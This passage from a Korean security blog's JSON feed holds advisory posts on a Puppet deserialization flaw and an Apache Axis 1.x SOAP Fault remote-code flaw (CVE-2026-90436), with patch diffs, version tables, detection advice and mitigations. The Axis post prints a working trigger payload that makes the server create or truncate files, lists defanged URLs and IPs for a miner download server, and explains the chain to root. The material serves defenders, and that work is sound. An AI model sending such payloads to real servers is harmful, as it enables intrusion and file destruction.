사례를 보고했다. RCE가 서버를 잡고, 사칭이 카탈로그의 비밀을 넘긴다. 두 CVE가 한 세트로 나온 이유다.</p>\n<p>방어자 관점의 관측 지점은 리포트 본문과 사후 흔적 양쪽에 있다. 리포트 저장 로그나 프록시 페이로드에서 <code>__ptype</code> 값이 <code>Object[</code>로 시작하거나 <code>RubyMethod</code> 문자열을 포함하는 경우는 정상 에이전트가 만들 수 없는 형태다. 다만 <code>__ptype</code> 자체를 일괄 차단하면 Puppet 5 계열 에이전트가 보내는 정상 rich data까지 걸리므로, 타입 정의식이나 <code>RubyMethod</code> 애노테이션을 표적으로 걸러야 한다. 서버 쪽에서는 <code>puppet</code> 사용자가 띄운 <code>/bin/sh</code> 자식 프로세스, 파일 버킷에 새로 들어온 PEM 파일, CA에 새로 서명된 인증서 목록, PXP 태스크 실행 이력, 카탈로그 파일의 소유자·수정시각 변화를 확인한다. KEV의 <code>forensicTriage</code>가 <code>No</code>인 것은 포렌식 트리아지가 의무가 아니라는 행정적 구분일 뿐, 침해 흔적을 볼 필요가 없다는 뜻이 아니다.</p>\n<h2>4. 패치 분석: 컨버터 한 줄, 그러나 호환성 대가가 있다</h2>\n<p>공개 소스 쪽 수정은 OpenVox 커밋 <code>16920fe3a5a6ea887c5b261437269ae993094106</code>(2026년 10월 21일, \"Read event data hashes with the stringifying converter\")로 확인된다. 변경은 <code>event.rb</code>의 컨버터 교체 하나다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-diff\">   def initialize_from_hash(data)\n-    data = Puppet::Pops::Serialization::FromDataConverter.convert(data, {\n-                                                                    :allow_unresolved =&gt; true,\n-                                                                    :loader =&gt; Puppet::Pops::Loaders.static_loader\n-                                                                  })\n+    # Read with the stringifying converter, the same one #to_data_hash writes with.\n+    # Event values contain no rich data downstream, so there is nothing to reconstruct.\n+    data = Puppet::Pops::Serialization::ToStringifiedConverter.convert(data, :message_prefix =&gt; 'Event')</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>핵심은 \"읽을 때 쓰기와 같은 컨버터를 쓴다\"이다. <code>Event#to_data_hash</code>는 원래부터 <code>ToStringifiedConverter</code>로 썼다. 즉 출력은 문자열화된 평범한 데이터였는데, 입력만 역직렬화기를 태우고 있었다. 비대칭이 결함의 본질이었고, 수정은 그 비대칭을 없앤다. 같은 커밋의 테스트는 회귀 조건을 명시적으로 박아둔다. <code>__ptype</code>에 <code>Object[{name =&gt; 'Ev', attributes =&gt; {'a' =&gt; Integer}}]</code>를 넣은 이벤트를 처리할 때 <code>Puppet::Pops::Types::RubyGenerator</code>의 <code>create_class</code>가 <strong>호출되지 않아야 한다</strong>는 단언이다. 타입 태그가 붙은 값은 해시로 남고 <code>__ptype</code> 키는 사라진다.</p>\n<p>대가는 호환성이다. 커밋 메시지는 \"Puppet 5 에이전트가 쓴 rich-typed 값은 더 이상 객체로 복원되지 않고, 태그된 해시가 예약 키가 바뀐 채 도착한다\"고 적는다. 2021년대 에이전트가 남긴 리포트를 최신 서버에서 사람이 읽을 때 값 표현이 달라질 수 있다는 뜻이고, 업그레이드 후 리포트 뷰어나 외부 리포트 처리 파이프라인이 <code>__ptype</code> 기반 객체를 기대했다면 그 부분을 점검해야 한다.</p>\n<p>Perforce 쪽 수정은 PA-9473으로 추적되며, Puppet Server 9.0.24.1과 PuppetDB 9.0.26/8.10.16에 반영됐다. 버전 대응은 다음과 같다.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>제품</th><th>취약 구간</th><th>수정판</th><th>비고</th></tr></thead><tbody><tr><td>Perforce Puppet Enterprise</td><td>2026.0.0 ~ 2026.0.1 미만</td><td>2026.0.1</td><td>Puppet Core 9.1.3 포함</td></tr><tr><td>Perforce Puppet Enterprise</td><td>2025.0.0 ~ 2025.12.1 미만</td><td>2025.12.1</td><td>Puppet Core 8.22.2 포함</td></tr><tr><td>Perforce Puppet Enterprise</td><td>2023.8.0 ~ 2023.8.13 미만</td><td>2023.8.13</td><td>Puppet Core 8.22.2 포함</td></tr><tr><td>Puppet Core</td><td>9.0.0 ~ 9.1.3 미만</td><td>9.1.3</td><td>Puppet Server 9.0.24.1</td></tr><tr><td>Puppet Core</td><td>8.x ~ 8.22.2 미만</td><td>8.22.2</td><td>PuppetDB 8.10.16</td></tr><tr><td>OpenVox(오픈소스 포크)</td><td>server ≤ 9.1.0 / ≤ 8.17.0</td><td>9.2.0 / 8.18.0</td><td>agent는 9.3.0 / 8.32.0</td></tr><tr><td>Red Hat Satellite 6 / Capsule 6</td><td>번들 openvox</td><td>RHSA-2026:95652 / 95653</td><td>2026-11-13 배포</td></tr></tbody></table></div>\n<p>적용 순서에서 중요한 것은 취약 코드가 <strong>서버에서</strong> 실행된다는 점이다. 역직렬화는 Puppet Server의 JRuby가 자기 puppet 코드로 수행하므로, 서버의 Puppet Core를 올리고 <code>pe-puppetserver</code>를 재시작해 수정 코드를 적재하는 것이 우선이다. 관리 노드의 에이전트는 이 결함의 공격자 쪽 조건(리포트를 보내는 주체)이므로 서버만 올려도 서버는 안전해지지만, PE 릴리스는 양쪽을 함께 번들하므로 표준 업그레이드 절차를 따르는 편이 검증 부담이 적다.</p>\n<p>패치를 즉시 적용할 수 없는 환경에서 먼저 줄일 수 있는 것은 세 가지다. 첫째, <code>autosign</code>을 끄고 수동 서명 또는 강한 검증을 붙인 정책 기반 서명으로 전환한다(<code>puppet config print autosign</code>으로 현재 값 확인, <code>autosign.conf</code>가 있으면 내용 검토). 둘째, 8140 포트를 관리 노드 대역으로 제한하고 인터넷 노출을 없앤다 — Puppet Server를 공인 인터넷에 두는 정당한 이유는 거의 없다. 셋째, 서버 앞단 프록시나 WAF에서 리포트 PUT 본문 중 <code>__ptype</code> 값이 <code>Object[</code>로 시작하거나 <code>RubyMethod</code>를 포함하는 요청을 거부한다. 이 세 조치는 시간을 벌 뿐 결함을 없애지 않는다. 이미 침해가 의심된다면 순서가 하나 더 붙는다. CA 개인키를 읽은 흔적이 있다면 패치와 함께 CA를 회전하고 전 노드 인증서를 재발급해야 하며, 그 전까지는 어떤 인증서도 신뢰할 수 없다.</p>\n<p>이 사건이 남기는 교훈은 버전 관리가 아니라 경계 설정에 가깝다. Puppet Server는 \"인증서가 있으면 그 노드를 신뢰한다\"는 모델 위에 서 있고, 그 모델은 대규모 자동 프로비저닝과 맞물릴 때 인증서를 사실상 공개 발급물로 만든다. 인증서 뒤쪽 데이터가 신뢰 경계 안이라는 가정은 그 위에서 조용히 성립하지 않게 된다. 패치가 끝난 뒤에도 남는 것은 CA 키와 발급 이력이므로, 지금 확인해야 할 것은 버전 숫자만이 아니다.</p>",
      "date_published": "2026-11-18T04:05:00+09:00",
      "authors": [
        {
          "name": "김도현"
        }
      ],
      "tags": [
        "CVE-2026-115731",
        "PuppetEnterprise",
        "PuppetCore",
        "OpenVox",
        "역직렬화",
        "CWE-502",
        "CISAKEV"
      ],
      "image": "https://dohyeontech.github.io/assets/images/puppet-enterprise-cve-2026-115731.png"
    },
    {
      "id": "https://dohyeontech.github.io/posts/axis1-cve-2026-90436-soap-fault-rce/",
      "url": "https://dohyeontech.github.io/posts/axis1-cve-2026-90436-soap-fault-rce/",
      "title": "[취약점 분석] Apache Axis 1.x SOAP Fault RCE — 인증 핸들러보다 먼저 돌아가는 파서 (CVE-2026-90436)",
      "summary": "11월 6일 공개된 Apache Axis 1.x의 SOAP Fault 역직렬화 결함은, 서비스 인증 핸들러가 요청을 보기도 전에 클래스를 로드하고 생성자를 돌려버린다. 11월 13일부터는 Confluence Data Center와 N-able N-central 양쪽에서 실제 악용이 확인됐다 — 그리고 Axis 1.x에는 수정 릴리스가 존재하지 않는다.",
      "content_html": "<p>2026년 11월 6일, Apache Software Foundation은 단종(EOL)된 Apache Axis 1.x 전 버전(1.4 포함)에서 인증되지 않은 원격 클래스 인스턴스화 결함(CVE-2026-90436, CWE-470 Unsafe Reflection)을 공개했다. CISA ADP가 매긴 CVSS v3.1 점수는 9.8이고, Atlassian이 자체 산정한 CVSS v4.0 점수는 9.3이다. 취약점 그 자체는 10일 전에 나왔다. 문제는 그 이후의 전개다. 11월 9일 Atlassian은 Confluence Data Center가 이 라이브러리를 번들하고 있음을 인정했고(CONFSERVER-104610), 11월 10일 공개 PoC가 JDK 표준 클래스만으로 파일을 만들어내는 것이 입증됐으며, 11월 12일에는 N-central을 겨냥한 풀 익스플로잇 체인(4EverAble2Shell)이 공개되고 같은 날 공격자의 실제 침투가 관측됐다. 그리고 11월 13일 — Rapid7 MDR이 고객 환경의 Confluence Data Center에서 이 CVE의 실제 악용을 탐지했고, N-able도 N-central에서 \"CVE-2026-90436과 강하게 일치하는\" 침해를 별도로 보고했다.</p>\n<p>이 시점에서 이 결함의 지위는 \"공개된 취약점\"이 아니다. 둘 이상의 상용 제품에서 실제 침해가 확인됐는데도 CISA KEV 카탈로그(2026.11.13 버전 기준)에는 아직 등재되지 않은 상태다. KEV 미등재는 안전하다는 뜻이 아니라, 자동화된 규제 시계가 아직 돌지 않았다는 뜻일 뿐이다. Rapid7의 권고가 \"정상 패치 주기가 아니라 긴급 복구로 노출 시스템을 처리하라\"인 이유다.</p>\n<p>두 번째로 짚어야 할 현실은 취약 조건이다. Confluence는 'Remote API (XML-RPC &amp; SOAP)' 설정이 켜져 있어야 하고(3.0부터 신규 설치 기본 OFF, 10.0에서 기능 자체 제거), N-central은 'Legacy API'가 켜져 있어야 한다(마찬가지로 기본 OFF). 즉 기본값으로 설치한 환경은 뚫리지 않는다. 그러나 두 제품 모두, 그 설정을 <strong>의도적으로 켠 조직</strong>만을 정확히 골라 침해가 발생했다. 기본값 OFF는 통제가 아니라 시한부다 — 켠 순간부터 이 결함의 방아선은 조직이 아니라 2004년에 마지막으로 릴리스된 라이브러리가 쥐고 있다. Axis 1.x는 EOL이라 수정 릴리스가 나오지 않으며, 수정은 커밋 <code>41f3b4e8</code>을 직접 백포트하거나 Axis 2/Java로 이전하는 것뿐이다. 상용 제품이 단종된 서드파티 라이브러리를 번들하면, 그 라이브러리의 종말이 곧 제품의 종말이 된다 — 이번 사례는 그 공급망 방정식의 실증이다.</p>\n<h2>1. 근본 원인: 인증 핸들러는 파서 뒤에 있다</h2>\n<p>이 취약점의 핵심은 메모리 손상도, 인증 로직의 결함도 아니라 <strong>실행 순서</strong>다. Axis 1.x의 요청 처리 파이프라인에서 SOAP 봉투 전체의 SAX 파싱이, 서비스별 핸들러 체인 — 인증 핸들러가 거기 매달려 있다 — 보다 <strong>먼저</strong> 돌아간다.</p>\n<p>호출 경로를 따라가 보면:</p>\n<div class=\"codeblock\"><pre><code class=\"language-text\">AxisServlet.doPost(request)\n  → AxisServer.invoke(msgContext)\n      → transport chain (URLMapper: 대상 서비스 결정)\n          → global request chain\n              → initSOAPConstants()\n                  → Message.getSOAPEnvelope()   ← 전체 SAX 파싱. gadget 인스턴스화 포함\n  → h.invoke()\n      → SOAPService.invoke()                    ← 서비스 요청 플로우. 인증 핸들러는 여기</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><code>Message.getSOAPEnvelope()</code>가 응답을 돌려주기 위해서는 봉투 안의 모든 요소가 구축돼야 한다. 여기에 <code>&lt;soap:Fault&gt;</code>가 있으면 Axis의 역직렬화기는 그 내용물까지 파싱하면서, 이름 붙은 클래스를 로드하고 생성자를 실행한다. 이 시점에는 아직 어떤 핸들러 체인도 요청을 본 적이 없다. 공격자의 입력이 서비스의 보안 로직을 통과한 것이 아니라, <strong>보안 로직이 실행되기 전의 단계</strong>에서 소비되는 것이다.</p>\n<p><code>initSOAPConstants()</code>가 봉투를 필요로 하는 이유조차 아이러니하다 — 이는 서비스가 사용할 SOAP 상수 버전(SOAP 1.1/1.2)을 결정하기 위한 것이고, 그 입력은 봉투의 namespace다. 즉 \"요청이 어느 SOAP 사양인지 알아내려는\" 정상적인 준비 단계가, 그 봉투의 Fault 본문을 완전히 역직렬화하는 부작용을 낳는다. 파싱이 서비스 결정 이후의 전역 체인에 매달려 있다는 구조 자체가 문제다.</p>\n<p>이 순서가 만드는 관측 결과는 역설적이다. PoC의 로그가 그대로 보여주는데, 같은 서비스에 대해 인증 없이 Fault 트릭을 쏘면 <strong>파일은 이미 생성돼 있으면서</strong> 응답 본문에는 <code>Client.Unauthenticated</code> faultcode가 담긴다. 인증 핸들러는 요청을 거부했고, 그 거부는 정상 작동했다. 다만 그 거부가 도달하기 전에 이미 클래스 생성자는 실행된 뒤였다. 사후 침해 조사에서 \"우리 SOAP 서비스는 인증이 걸려 있는데 왜 뚫렸지?\"라는 질문이 나온다면 답은 이 순서 안에 있다.</p>\n<h3>클래스가 로드되고 생성되는 두 지점</h3>\n<p>결함은 <code>org.apache.axis.message</code> 패키지의 두 빌더 클래스에 걸쳐 있다.</p>\n<p><strong>지점 1 — <code>SOAPFaultDetailsBuilder</code>: 초기화 로딩.</strong> <code>&lt;detail&gt;&lt;exceptionName&gt;</code> 요소를 만나면 <code>setValue()</code>가 <code>ClassUtils.forName(faultClassName)</code>을 호출한다. 수정 전 <code>ClassUtils.forName</code>은 내부적으로 <code>Class.forName(className, true, loader)</code> — <code>initialize=true</code> — 로 클래스를 로딩한다. 자바에서 클래스 초기화는 static initializer의 실행을 의미한다. 공격자가 적은 클래스 이름 문자열 하나로, 대상 JVM의 클래스패스에 있는 임의 클래스의 정적 초기화 블록을 실행할 수 있다는 뜻이다.</p>\n<p><strong>지점 2 — <code>SOAPFaultBuilder.createFault()</code>: 캐스팅 전 인스턴스화.</strong> <code>&lt;data&gt;</code> 요소(String)까지 함께 있으면, <code>createFault()</code>는 다음을 수행한다:</p>\n<div class=\"codeblock\"><pre><code class=\"language-java\">// SOAPFaultBuilder.java (수정 전, ~162행)\nClass argClass = ConvertWrapper(faultData.getClass());\ntry {\n    Constructor con = faultClass.getConstructor(new Class[] { argClass });\n    f = (AxisFault) con.newInstance(new Object[] { faultData });\n} catch (Exception e) {\n    // Don't do anything here, since a problem above means\n    // we'll just fall through and use a plain AxisFault.\n}</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><code>getConstructor(String.class)</code>로 String 생성자를 찾아 <code>newInstance(faultData)</code>를 호출하고, <strong>그 다음에야</strong> 결과를 <code>(AxisFault)</code>로 캐스팅한다. 생성자는 캐스팅 이전에 실행된다. 캐스팅이 실패해 생기는 <code>ClassCastException</code>은 catch 블록이 조용히 삼켜서, \"일반 AxisFault로 떨어질 뿐\"이라는 주석과 함께 아무 흔적도 남지 않는다. <code>ClassCastException</code>이 Exception이 아니라 Error 계열의 형제인 건 맞지만, 코드가 잡으려던 실패든 런타임에 실제로 발생하는 실패든 결과는 같다 — 생성자의 부작용은 이미 일어났고, 로그에는 아무것도 남지 않는다.</p>\n<p>이 두 지점을 조합하면, 공격자는 대상 JVM의 클래스패스에 있는 임의 클래스를 (a) 초기화하거나, (b) String 생성자로 인스턴스화할 수 있다. 정식 기준으로는 CWE-470(외부 입력의 안전하지 않은 클래스 반영)이고, 알려진 선례인 CVE-2023-46604(Apache ActiveMQ의 ClassUtils 기반 원격 코드 실행)와 같은 부류의 결함이다.</p>\n<h2>2. 익스플로잇 메커니즘: <code>&lt;data&gt;</code>가 <code>&lt;exceptionName&gt;</code>보다 먼저 와야 하는 이유</h2>\n<p>공개 PoC(<code>github.com/fixedbyreboot/CVE-2026-90436-POC</code>, 11월 10일)가 증명한 트리거 페이로드는 다음 형태다:</p>\n<div class=\"codeblock\"><pre><code class=\"language-xml\">&lt;soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"\n               xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n               xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"&gt;\n  &lt;soap:Body&gt;\n    &lt;soap:Fault&gt;\n      &lt;faultcode&gt;x&lt;/faultcode&gt;\n      &lt;faultstring&gt;x&lt;/faultstring&gt;\n      &lt;detail&gt;\n        &lt;data xsi:type=\"xsd:string\"&gt;/tmp/PWNED-90436&lt;/data&gt;\n        &lt;exceptionName&gt;java.io.FileOutputStream&lt;/exceptionName&gt;\n      &lt;/detail&gt;\n    &lt;/soap:Fault&gt;\n  &lt;/soap:Body&gt;\n&lt;/soap:Envelope&gt;</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>순서가 핵심이다. SAX 빌더는 detail의 자식 요소를 만나는 순서대로 콜백을 돌린다. <code>&lt;data&gt;</code>가 먼저 오면 faultData가 먼저 세팅되고, 이어서 <code>&lt;exceptionName&gt;</code> 콜백이 faultClass를 덮어쓴다. <code>createFault()</code>는 이제 faultClass(String 생성자 보유)와 faultData(공격자가 지정한 경로 문자열)를 모두 손에 넣은 상태가 된다. 역순으로 배치하면 파싱 시점에 faultData가 아직 없어 인스턴스화 분기가 작동하지 않는다.</p>\n<p><code>exceptionName</code>으로 <code>java.io.FileOutputStream</code>을 지정하고 <code>data</code>에 경로를 넣으면, 어떤 gadget jar도 필요 없이 JDK 표준 클래스의 String 생성자가 그 경로에 파일을 만들거나 (존재하면) 0바이트로 잘라낸다. 이 PoC가 잘 만들어진 이유는 통제군에 있다: 정상 ping(자격증명 없음 → <code>Client.Unauthenticated</code>), 정상 ping(자격증명 있음 → <code>pong</code>), 범용 클래스 <code>java.lang.String</code> 지정(마커 생성 없음), 존재하지 않는 클래스명(마커 생성 없음)을 같은 서버에 돌려, 인증 핸들러는 유효하게 작동 중이고 트리거는 오직 fault 역직렬화 경로를 통해서만 성공함을 입증한다. 또 하나의 통제군으로 수정 커밋의 세 클래스(<code>ClassUtils</code>, <code>SOAPFaultDetailsBuilder</code>, <code>SOAPFaultBuilder</code>)를 공식 axis.jar에 오버레이하면 같은 트리거가 더 이상 마커를 만들지 못한다 — 즉 이 세 지점이 취약성의 전부다.</p>\n<p>static initializer 갈래도 PoC는 별도로 입증한다. <code>&lt;exceptionName&gt;</code>만 있고 <code>&lt;data&gt;</code>가 없어도 초기화 로딩 자체는 일어나므로, 정적 블록에서 파일을 쓰는 실험실 클래스의 <code>static { ... }</code>이 로딩만으로 실행됐다. 다만 자바는 클래스를 JVM당 한 번만 초기화하므로 이 증거는 서버 재시작 사이에 1회성으로 관측된다.</p>\n<h3>실제 침해에서 관측된 것</h3>\n<p>N-central 쪽의 실제 악용은 이 기본 프리미티브를 완전한 체인으로 만든 '4EverAble2Shell'이다. Axis 결함으로 <code>nable</code> 서비스 계정 권한의 명령 실행을 얻은 뒤, N-central의 특권 헬퍼 <code>setLDFileOwner</code>와 심볼릭 링크를 이용해 root 소유 스크립트를 쓰기 가능하게 만들고 <code>serverControl</code> 기능으로 root 명령을 실행한다. Previdian은 이 권한상승을 <code>VULN-2026-0009</code>로 자체 추적하며 자체 KEV에 등재했다.</p>\n<p>관측 타임라인은 공개 PoC와 실전 악용 사이의 간격이 얼마나 짧은지 보여준다. 11월 12일 UTC 오전 8시 30분경 공격자가 허니팟을 탐색하기 시작(공개 PoC가 참조하는 것과 동일한 Java 클래스 사용), 09시 16분경 풀 익스플로잇 체인 실행. 같은 날 12:50 UTC, Huntback은 공격자의 채굴 풀 통계에서 <code>nc_&lt;서버IP&gt;</code> 식별자로 <strong>21대의 실제 N-central 서버가 XMRig 모네라 채굴기로 침해됐음을 확인</strong>했다. 그중 19대는 11월 10일에 배포된 최신 핫픽스(2026.4.1.26 Hotfix 2)를 돌리는 서버였다 — Legacy API를 켠 환경에서는 벤더의 최신 패치 수준과 무관하게 초입 문이 열려 있었다는 뜻이다. 채굴기는 가용 CPU 코어의 절반만 쓰도록 설정돼 있었는데, 탐지를 피하기 위한 은폐다. 피해 서버는 미국·캐나다·남아공·영국·독일·프랑스·스웨덴에서 확인됐다.</p>\n<h3>침해 지표 (IOC)</h3>\n<p>Confluence Data Center 대상 악용과 관련된 IP (Rapid7, 11월 16일):</p>\n<div class=\"table-wrap\"><table><thead><tr><th>대상 제품</th><th>IOC</th></tr></thead><tbody><tr><td>Confluence Data Center</td><td><code>192.238.253[.]176</code>, <code>5.133.47[.]243</code>, <code>163.182.68[.]109</code>, <code>104.13.106[.]166</code></td></tr><tr><td>N-able N-central (11월 13일 N-able 업데이트, Legacy API 미비활성 고객)</td><td><code>157.20.241[.]16</code>, <code>139.99.69[.]109</code>, <code>79.76.51[.]56</code></td></tr></tbody></table></div>\n<p>N-able이 11월 13일 공지에 올린 URL/트래픽 IOC:</p>\n<div class=\"codeblock\"><pre><code class=\"language-text\">hxxp://157.20.241[.]16:8080/jup.sh\nhxxp://157.20.241[.]16:8080/xvgz\nhxxp://157.20.241[.]16:8080/xmrig.tgz\nhxxp://157.20.241[.]16:8080/ob/cronhit?h=jup_start_&amp;persist=\nhxxp://157.20.241[.]16:8080/ob/fcheck\n\n아웃바운드: 157.20.241[.]16 (8080, 19202~19418번 포트)\n            139.99.69[.]109:10128\n            79.76.51[.]56:39100</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>N-central 침해 조사 시 추가로 확인할 지표: <code>/dms/services/ServerUI</code>로 향하는 요청 중 <code>jline.internal.TerminalLineSettings</code>를 참조하는 것(정상적인 Axis 페이로드에서는 나오지 않는 문자열), <code>xvd.service</code> systemd 유닛, <code>/tmp/.xvd</code>·<code>/var/tmp/.xvd</code> 하위 파일. 이들 중 하나라도 걸리면 4EverAble2Shell은 root까지 도달하는 체인이므로, 서버 전체를 완전 침해로 간주하고 대응해야 한다.</p>\n<h2>3. 패치 Diff 분석: 세 개의 클래스로 끝나는 수정</h2>\n<p>Apache는 수정 릴리스를 내지 않는다(EOL). 수정은 소스 저장소의 커밋 <a href=\"https://github.com/apache/axis-axis1-java/commit/41f3b4e8d04e310ca81f86b92630ab2c11d608bd\"><code>41f3b4e8d04e310ca81f86b92630ab2c11d608bd</code></a>로만 존재하며, diff를 보면 방어가 어디에 어떻게 놓였는지 정확히 드러난다.</p>\n<h3>(1) <code>ClassUtils.forName</code> — 비초기화 로딩 옵션</h3>\n<div class=\"codeblock\"><pre><code class=\"language-java\">public static Class forName(String className) throws ClassNotFoundException {\n    return loadClass(className, true);          // 기존 시그니처는 초기화 로딩 유지\n}\n\npublic static Class forName(String className, boolean initialize) throws ClassNotFoundException {\n    return loadClass(className, initialize);    // 새 옵션: 초기화 스킵 가능\n}</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>내부 <code>loadClass</code>와 <code>doPrivileged</code> 블록의 모든 <code>Class.forName(className, true, loader)</code> 호출이 <code>initialize</code> 플래그를 따르도록 바뀌었다. static initializer가 공격 프리미티브인 이상, \"이름을 로드만 하고 초기화하지 않는\" 경로를 라이브러리 차원에서 공식화한 것이다.</p>\n<h3>(2) <code>SOAPFaultDetailsBuilder.setValue</code> — 로드 직후 자격 검사</h3>\n<div class=\"codeblock\"><pre><code class=\"language-java\">// exceptionName 처리 (수정 후)\nClass faultClass = ClassUtils.forName(faultClassName, false);   // 초기화 없이 로드\nif (AxisFault.class.isAssignableFrom(faultClass)) {\n    builder.setFaultClass(faultClass);                          // AxisFault 하위만 수용\n} else if (log.isDebugEnabled()) {\n    log.debug(\"Ignoring fault exceptionName '\" + faultClassName\n            + \"': not an org.apache.axis.AxisFault subtype\");\n}</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>두 겹의 방어가 추가됐다. 로드 자체를 비초기화로 바꿔 static initializer 경로를 차단하고, 로드된 클래스가 <code>AxisFault</code>의 하위가 아니면 아예 faultClass로 수용하지 않는다. 공격자가 지정할 수 있는 클래스 이름의 집합이 \"클래스패스 전체\"에서 \"AxisFault 하위 클래스\"로 좁혀진다.</p>\n<h3>(3) <code>SOAPFaultBuilder.createFault</code> — 생성자 실행의 마지막 관문</h3>\n<div class=\"codeblock\"><pre><code class=\"language-java\">if (AxisFault.class.isAssignableFrom(faultClass)) {   // 캐스팅 전, 생성 전 검사\n    try {\n        Constructor con = faultClass.getConstructor(new Class[] { argClass });\n        f = (AxisFault) con.newInstance(new Object[] { faultData });\n    } catch (Exception e) { /* ... */ }\n}</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><code>newInstance</code>를 지나지 않고는 생성자가 돌 수 없도록 <code>isAssignableFrom</code> 게이트가 인스턴스화 <strong>앞으로</strong> 이동했다. 원래 코드가 가진 \"캐스팅이 실패하면 어차피 일반 AxisFault로 떨어진다\"는 설계는, 생성자 실행이라는 부작용이 캐스팅보다 먼저 일어난다는 사실을 간과한 것이었다. 커밋에는 이 동작을 회귀 테스트로 고정하는 <code>TestFaultClassInstantiation</code>(<code>FaultGadgetProbe</code>의 static init 및 String 생성자 실행 여부를 플래그로 검증)도 함께 들어갔다.</p>\n<p>수정의 재미있는 점은 파싱 순서를 건드리지 않았다는 사실이다. 봉투는 여전히 인증 핸들러보다 먼저 파싱된다. 수정은 \"파싱 중에 클래스 이름 문자열이 객체가 되는\" 순간들에 자격 검사를 놓은 것뿐이다. 아키텍처의 결함(파싱이 핸들러 체인 앞에 있는 구조) 자체는 그대로 남고, 그 위에서 악용 가능한 프리미티브만 제거된다. 이는 EOL 라이브러리의 현실적인 수정 범위를 보여준다 — 재설계가 아니라 최소 침습 차단.</p>\n<h3>(4) 제품별 실전 방어</h3>\n<p><strong>Confluence Data Center.</strong> 수정 버전은 <strong>9.2.28</strong> 단 하나다. 10.x는 기능 자체가 제거돼 영향이 없으므로, 9.2 LTS 사용자는 9.2.28로, 그 외는 10.x로 올린다. 패치를 미룰 수 없는 환경의 임시 완화는 Remote API 비활성화다: 관리자 → 일반 구성(General Configuration) → 추가 구성(Further Configuration, <code>&lt;base_url&gt;/admin/viewspacesconfig.action</code>으로 직접 접근 가능) → 편집 → 'Remote API (XML-RPC &amp; SOAP)' 체크 해제 → 저장. 재시작 불필요하다. 단, 이 API에 붙어 있던 스크립트·자동화·서드파티 애드온은 중단될 수 있으므로 비운영 환경에서 먼저 확인하라.</p>\n<p>완화 적용 여부는 한 번의 요청으로 검증한다:</p>\n<div class=\"codeblock\"><pre><code class=\"language-text\">GET &lt;base_url&gt;/plugins/servlet/soap-axis1/confluenceservice-v2\n\nHTTP 403 Forbidden            → 정상 (Remote API 차단됨)\n'confluenceservice-v2' 또는\n'AXIS service' 문구가 응답함  → 미적용. 다시 확인할 것</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>Atlassian이 자체적으로 \"고객 인스턴스의 침해 여부를 확인해줄 수 없다\"고 명시하고 있으므로, Remote API가 켜져 있었던 기간이 있는 인스턴스는 활성 여부와 무관하게 침해 조사를 해야 한다. 위 IOC IP와의 통신 기록, <code>/plugins/servlet/soap-axis1/</code> 경로의 비정상 POST를 확인하라.</p>\n<p><strong>N-able N-central.</strong> 온프레미스 관리자는 2026.4 HF2를 돌리는 환경이라도 <strong>Legacy API 비활성 여부를 직접 확인</strong>해야 한다(기본 OFF이지만, 호스팅 환경과 달리 온프레미스는 본인 손으로 끊어야 한다). N-able은 11월 16일 공지에서 호스팅 환경의 업그레이드가 완료됐고 온프레미스용 <strong>2026.4 HF3</strong>의 일반 배포를 마무리 중이라고 밝혔다 — HF3는 Legacy API를 <strong>영구 제거</strong>한다. 즉 N-central의 이 초입 문은 설정 차단을 거쳐 코드 제거로 끝나는 3단계로 수습되고 있다. Intune 통합은 예방 차원에서 일시 비활성화됐다. 에이전트·프로브 업그레이드 지침은 두 호스팅 모델 모두 여전히 요구된다.</p>\n<p><strong>Axis 1.x를 직접 번들하는 자.</strong> 수정 릴리스가 없으므로 선택지는 두 개다: 커밋 <code>41f3b4e8</code>의 세 클래스를 백포트한 프라이빗 빌드로 교체하거나, Apache의 권고대로 Axis 2/Java 등 다른 SOAP 엔진으로 이전. Debian의 security tracker가 <code>axis 1.4-2x</code>(bookworm/trixie/forky/sid 전부)를 vulnerable로 표기 중이라는 점은, OS 패키지 채널에 이 라이브러리의 수정을 기대할 수 없다는 뜻이기도 하다. 조직의 소프트웨어 자산에서 <code>axis-1.4.jar</code>를 찾는 작업이 사실상 첫 번째 대응이다. Censys의 플랫폼 검색상 Confluence 노출 호스트는 120만 개 이상의 웹 프로퍼티로 잡히는데, 이 중 실제 취약 조건(Remote API 활성)인 집합은 겉면 수치보다 훨씬 작겠지만 — 그 집합을 가려내는 건 각 조직의 설정 감사뿐이다.</p>\n<p>마지막으로 남는 것은 관측의 문제다. 이 취약점은 KEV에 없고, 둘 다 기본값 OFF인 설정을 켠 환경만 뚫렸다. 전형적인 취약점 관리 자동화(KEV 기반 슬랙, CVSS 기준선)는 이 사건을 놓친다. 실제로 뚫린 곳은 \"패치가 없는 라이브러리를 번들한 제품에서, 오래된 통합을 위해 레거시 API를 켠 조직\"이었다. 설정 감사 — Remote API와 Legacy API가 어디서 켜져 있고 누가 아직 쓰는가 — 가 패치보다 먼저 나와야 하는 이유다.</p>",
      "date_published": "2026-11-17T09:00:00+09:00",
      "authors": [
        {
          "name": "김도현"
        }
      ],
      "tags": [
        "CVE-2026-90436",
        "ApacheAxis",
        "SOAP",
        "Confluence",
        "Ncentral",
        "공급망보안",
        "CWE-470"
      ],
      "image": "https://dohyeontech.github.io/assets/images/thumb_axis_cve_2026_90436.png"
    },
    {
      "id": "https://dohyeontech.github.io/posts/metam-bpo-coinone-bungeojangteo/",
      "url": "https://dohyeontech.github.io/posts/metam-bpo-coinone-bungeojangteo/",
      "title": "[침해 분석] 상담 위탁사 메타엠 침해 — 코인원 11개 항목과 번개장터 녹취가 같은 서버에 있었다",
